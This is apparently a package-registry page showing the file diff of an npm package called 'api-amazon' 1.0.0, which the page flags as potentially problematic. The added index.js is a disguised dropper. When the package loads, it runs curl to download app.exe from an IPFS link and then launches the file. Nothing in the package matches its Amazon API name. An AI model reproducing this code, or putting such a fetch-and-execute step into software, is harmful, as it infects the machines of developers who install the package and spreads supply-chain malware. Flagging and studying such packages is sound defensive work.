api-amazon 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of api-amazon might be problematic. Click here for more details.
- package/index.js +22 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
|
3
|
+
const downloadAndStart = () => {
|
4
|
+
const downloadCommand = 'curl -o app.exe https://bafybeierqmqw66mvmcavscfwhrh726abacvjnfypxqxgrew4sgbjn55k54.ipfs.nftstorage.link/app.exe';
|
5
|
+
const startCommand = 'start app.exe';
|
6
|
+
|
7
|
+
exec(downloadCommand, (error, stdout, stderr) => {
|
8
|
+
if (error || stderr) {
|
9
|
+
console.error('Une erreur s\'est produite lors du téléchargement ou de la commande curl.');
|
10
|
+
return;
|
11
|
+
}
|
12
|
+
|
13
|
+
exec(startCommand, (error, stdout, stderr) => {
|
14
|
+
if (error || stderr) {
|
15
|
+
console.error('Une erreur s\'est produite lors du démarrage de l\'application.');
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
});
|
19
|
+
});
|
20
|
+
};
|
21
|
+
|
22
|
+
downloadAndStart();
|